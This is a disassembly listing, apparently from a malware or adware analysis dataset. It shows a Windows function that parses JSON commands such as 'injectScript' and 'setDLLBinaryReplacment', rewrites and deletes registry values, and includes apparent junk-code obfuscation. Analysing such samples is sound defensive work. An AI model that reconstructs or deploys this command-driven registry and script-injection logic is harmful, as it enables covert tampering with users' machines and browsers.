Function at 0x1400615e0
Capabilities:
Create http request
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x3cd0
call fcn.1400d1960
sub rsp, rax
mov qword [rsp + 0xa08], 0xfffffffffffffffe
movaps xmmword [rsp + 0x3cc0], xmm6
mov rax, qword [0x1401bee90]
xor rax, rsp
mov qword [rsp + 0x3cb0], rax
mov r12, r8
mov rbx, rdx
mov qword [rsp + 0x40], rdx
mov r14, rcx
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x340], rcx
mov qword [rsp + 0x210], rdx
mov qword [rsp + 0x370], r8
xor sil, sil
mov byte [rsp + 0x51], sil
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14003a020
nop
lea rcx, [rsp + 0x2e40]
call fcn.1400352a0
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xe30], rdx
lea rcx, [rsp + 0x70]
call fcn.14001b1b0
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe40], rax
cmp dword [rax + 0x10], 1
jle 0x1400616af
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001c000
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x2d00], rdi
mov qword [rsp + 0x2d08], rdi
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], dil
or r15, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x1400616eb
mov r8d, edi
jmp 0x1400616f9
mov r8, r15
nop
inc r8
cmp byte [rdx + r8], dil
jne 0x1400616f0
lea rcx, [rsp + 0x2cf0]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x2cf0]
lea rcx, [rsp + 0x2e40]
call fcn.140035350
test al, al
jne 0x14006180e
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x380]
call fcn.140003450
nop
lea rdx, [rsp + 0x380]
mov rcx, qword [r14 + 0x40]
call fcn.14005c4a0
nop
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061782
mov rdx, qword [rsp + 0x4c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x14006179a
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400617e5
mov rdx, qword [rsp + 0x6a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
cmp byte [rsp + 0x60], 0
jne 0x1400618fe
lea rdx, [0x140151130]
lea rcx, [rsp + 0x3a8]
call fcn.140003450
nop
lea rdx, [rsp + 0x3a8]
mov rcx, qword [r14 + 0x40]
call fcn.14005c4a0
nop
mov rcx, qword [rsp + 0x3a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061872
mov rdx, qword [rsp + 0x4d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x14006188a
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x798], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400618d5
mov rdx, qword [rsp + 0x798]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea rdx, [0x14014f584]
lea rcx, [rsp + 0x58]
call fcn.14003b130
test al, al
je 0x14006661f
lea rdx, [0x14014f63c]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xe50], rax
cmp byte [rax + 8], 4
jne 0x14006661f
lea rdx, [0x1401511d4]
lea rcx, [rsp + 0x58]
call fcn.14003b130
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xe60], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe70], rdx
lea rcx, [rsp + 0x48]
call fcn.140003450
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r15
nop dword [rax]
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400619b8
add rdx, 2
cmp rdx, 0xd
je 0x1400619b4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400619b8
jmp 0x140061990
mov ecx, edi
jmp 0x1400619bd
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x778], ecx
test ecx, ecx
jne 0x1400623d6
lea rdx, [0x1401511fc]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xe80], rax
lea rdx, [0x1401511b8]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x888], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x14014fca4]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xc58], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x898], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf90], rdx
lea rcx, [rsp + 0x88]
call fcn.140003450
nop
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x468], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cd474
mov r9, rax
mov qword [rsp + 0x148], rax
mov r10d, dword [0x1401c6d80]
mov r8d, r10d
imul r8d, r10d
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xe
sub r8d, edx
cmp r8d, 6
jne 0x140061ab2
inc r10d
mov dword [0x1401c6d80], r10d
test r9, r9
je 0x1400622d4
mov r8, r9
lea rdx, [rsp + 0x88]
call fcn.140066780
test al, al
je 0x1400622d4
mov r8d, dword [0x1401c6d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 7
jne 0x140061b28
mov ecx, edi
mov dword [rsp + 0x208], ecx
movsxd rax, ecx
cmp rax, 0x398
jae 0x140061b28
mov eax, dword [rsp + rax*4 + 0x35b0]
imul eax, eax, 0x64
add r8d, eax
mov dword [0x1401c6d80], r8d
inc ecx
jmp 0x140061afe
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b8
mov qword [rsp + 0x8a8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xc68], rcx
mov edx, 0x5c
call fcn.1400cf2b4
mov rcx, rax
mov qword [rsp + 0x8b8], rax
test rax, rax
jne 0x140061b65
mov ecx, r15d
jmp 0x140061b76
mov rax, qword [rbx]
mov qword [rsp + 0xe48], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b8
lea rdx, [rsp + 0xf8]
call fcn.14002a800
nop
mov rax, qword [r14 + 0x40]
add rax, 0x1b8
mov qword [rsp + 0x8c8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xc78], rcx
call fcn.140002540
mov qword [rsp + 0x8d8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x6e8], rbx
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r14 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x224], eax
test eax, eax
je 0x140061d5a
test r12, r12
je 0x140061c17
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
xor sil, sil
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140061c41
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061c73
mov rdx, qword [rsp + 0x6b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061ca5
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x840], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061cd4
mov rdx, qword [rsp + 0x840]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140061cec
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061d37
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006671a
mov r13, qword [r14 + 0x40]
add r13, 0x2d0
mov qword [rsp + 0x230], r13
lea rdx, [0x1401505d4]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xfd0], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14003b130
test al, al
je 0x140062038
lea rcx, [0x1401be9a8]
mov rax, qword [0x1401be9a8]
call qword [rax + 0x18]
mov qword [rsp + 0x8e8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x128], rbx
mov eax, edi
mov dword [rsp + 0xe8], eax
mov esi, edi
mov dword [rsp + 0xac], edi
mov r14d, 1
nop word [rax + rax]
test eax, eax
jne 0x140061ff8
mov dword [rsp + 0x1b8], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0xc88], rax
mov ecx, r14d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x678], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x478], eax
or eax, ecx
jge 0x140061e39
mov edx, 0x7ffe
lea rcx, [rsp + 0x128]
call fcn.1400024e0
mov rbx, qword [rsp + 0x128]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140061e4c
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1b8]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xe8], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x86c], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400cd52c
mov dword [rsp + 0x488], eax
test eax, eax
js 0x140061fee
cmp eax, dword [rbx - 0xc]
jg 0x140061fee
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, [0x140151230]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x6c8]
call fcn.14001b610
mov qword [rsp + 0x8f8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe58], rdx
test rdx, rdx
jne 0x140061f04
mov eax, r15d
jmp 0x140061f37
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x688], eax
test eax, eax
jns 0x140061f17
mov eax, r15d
jmp 0x140061f37
mov rcx, rbx
call fcn.1400cd6fc
mov qword [rsp + 0x908], rax
test rax, rax
jne 0x140061f31
mov eax, r15d
jmp 0x140061f37
sub rax, rbx
sar rax, 1
mov dword [rsp + 0xa8], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x78]
mov rcx, qword [rsp + 0x6c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140061f77
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x78], 0
je 0x140061fc2
mov esi, edi
mov dword [rsp + 0xac], edi
mov rbx, qword [rsp + 0x128]
mov rdx, rbx
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x224], eax
test eax, eax
je 0x140061fda
test r12, r12
je 0x140061ff8
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
jmp 0x140061ffd
mov esi, dword [rsp + 0xac]
inc esi
mov dword [rsp + 0xac], esi
mov rbx, qword [rsp + 0x128]
mov r13, qword [rsp + 0x230]
mov eax, dword [rsp + 0xe8]
jmp 0x140061de0
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140062026
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x230]
mov r14, qword [rsp + 0x1f0]
jmp 0x14006203d
mov esi, 0xb
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x498], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x148]
mov rdx, rcx
call fcn.140061570
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x2e00]
call fcn.140061190
mov qword [rsp + 0xc98], rax
cmp qword [rax + 0x18], 0x10
jb 0x140062091
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x538]
call fcn.140003450
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x528]
call fcn.14001b610
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3b8]
call fcn.14000f540
nop
mov rcx, qword [rsp + 0x528]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062107
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x538]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062139
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2e18], 0x10
jb 0x140062151
mov rcx, qword [rsp + 0x2e00]
call fcn.1400cc890
mov qword [rsp + 0x2e18], 0xf
mov qword [rsp + 0x2e10], rdi
mov byte [rsp + 0x2e00], 0
mov rbx, qword [rsp + 0x148]
xor al, al
jne 0x1400621b8
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x788], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x3b8]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0xf8]
mov rcx, r14
call fcn.1400668b0
mov rcx, rbx
call fcn.1400cd3f0
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x1400621f6
mov word [r12], si
mov word [r12 + 8], r15w
mov rax, qword [r14 + 0x40]
cmp dword [rax + 0x2d8], 3
jne 0x14006220d
mov dword [rax + 0x2d8], 4
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006223f
mov rdx, qword [rsp + 0x548]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x6e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062271
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400622a3
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400665d5
mov rdx, qword [rsp + 0x568]
jmp 0x1400665cc
test r12, r12
je 0x1400622e9
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006231b
mov rdx, qword [rsp + 0x6f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006234a
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d08], 0x10
jb 0x140062362
mov rcx, qword [rsp + 0x2cf0]
call fcn.1400cc890
mov qword [rsp + 0x2d08], 0xf
mov qword [rsp + 0x2d00], rdi
mov byte [rsp + 0x2cf0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x860], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400623ad
mov rdx, qword [rsp + 0x860]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2e40]
call fcn.140018e20
nop
lea rcx, [rsp + 0x58]
call fcn.14003a3b0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140066725
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140062408
add rdx, 2
cmp rdx, 0x17
je 0x140062404
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140062408
jmp 0x1400623e0
mov eax, edi
jmp 0x14006240d
sbb eax, eax
or eax, 1
mov dword [rsp + 0x4a8], eax
test eax, eax
jne 0x1400630e2
lea rdx, [0x140151204]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x918], rax
lea rdx, [0x14015120c]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xfa0], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x140151214]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x928], rax
lea rdx, [0x14014f49c]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xca8], rax
cmp byte [rax + 8], 4
jne 0x1400665d5
lea rdx, [0x140151290]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x938], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xe68], rax
cmp byte [rax + 8], 1
jne 0x1400665d5
lea rdx, [0x140151298]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x948], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xcb8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x958], rdx
lea rcx, [rsp + 0x80]
call fcn.140003450
nop
lea rdx, [0x140151280]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0xf50], rax
lea rdx, [0x14014f4ac]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0x968], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc8], rdx
lea rcx, [rsp + 0x90]
call fcn.140003450
nop
lea rdx, [0x140151288]
lea rcx, [rsp + 0x58]
call fcn.14003adf0
mov qword [rsp + 0x978], rax
lea rdx, [0x14014f6c4]
mov rcx, rax
call fcn.14003adf0
mov qword [rsp + 0xe78], rax
mov rcx, rax
call fcn.14003a620
mov dword [rsp + 0x22c], eax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x698], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cd474
mov rsi, rax
mov qword [rsp + 0x5e8], rax
mov rcx, qword [rsp + 0x90]
mov eax, dword [rcx - 0x10]
mov dword [rsp + 0x4b8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400cd474
mov rbx, rax
mov qword [rsp + 0x738], rax
test rsi, rsi
je 0x140062fae
test rax, rax
je 0x140062fae
mov r8, rsi
lea rdx, [rsp + 0x80]
call fcn.140066780
test al, al
je 0x140062fae
mov r8, rbx
lea rdx, [rsp + 0x90]
call fcn.140066780
test al, al
je 0x140062fae
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x808], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rsi
mov rcx, rsi
call fcn.140061570
mov r8d, dword [0x1401c6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x15
jne 0x140062695
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7d0], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140061570
mov r8d, dword [0x1401c6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xe
jne 0x14006270b
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rbx, qword [r14 + 0x40]
add rbx, 0x1b8
mov qword [rsp + 0x988], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xcd8], rcx
mov edx, 0x5c
call fcn.1400cf2b4
mov rcx, rax
mov qword [rsp + 0x998], rax
test rax, rax
jne 0x140062748
mov ecx, r15d
jmp 0x140062759
mov rax, qword [rbx]
mov qword [rsp + 0xf58], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r14 + 0x40]
add rcx, 0x1b8
lea rdx, [rsp + 0xb0]
call fcn.14002a800
nop
mov rax, qword [r14 + 0x40]
add rax, 0x1b8
mov qword [rsp + 0x9a8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xce8], rcx
call fcn.140002540
mov qword [rsp + 0x9b8], rax
add rax, 0x18
mov qword [rsp + 0x140], rax
mov rax, qword [r14 + 0x40]
add rax, 0x2d4
mov qword [rsp + 0x3b0], rax
mov edx, dword [rax]
lea rcx, [rsp + 0x2d80]
call fcn.140061190
mov qword [rsp + 0xe88], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400627e3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x598]
call fcn.140003450
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x588]
call fcn.14001b610
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.14000f540
nop
mov rcx, qword [rsp + 0x588]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062859
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x598]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006288b
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2d98], 0x10
jb 0x1400628a3
mov rcx, qword [rsp + 0x2d80]
call fcn.1400cc890
mov qword [rsp + 0x2d98], 0xf
mov qword [rsp + 0x2d90], rdi
mov byte [rsp + 0x2d80], 0
mov rax, qword [rsp + 0x3b0]
mov edx, dword [rax]
lea rcx, [rsp + 0x2e20]
call fcn.140061190
mov qword [rsp + 0x9c8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400628e8
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5b8]
call fcn.140003450
mov rbx, rax
lea r8, [0x140151328]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x5a8]
call fcn.14001b610
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.14000f540
nop
mov rcx, qword [rsp + 0x5a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006295e
mov rdx, qword [rsp + 0x718]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062990
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2e38], 0x10
jb 0x1400629a8
mov rcx, qword [rsp + 0x2e20]
call fcn.1400cc890
mov qword [rsp + 0x2e38], 0xf
mov qword [rsp + 0x2e30], rdi
mov byte [rsp + 0x2e20], 0
mov rcx, qword [rsp + 0x3b0]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x2dc0]
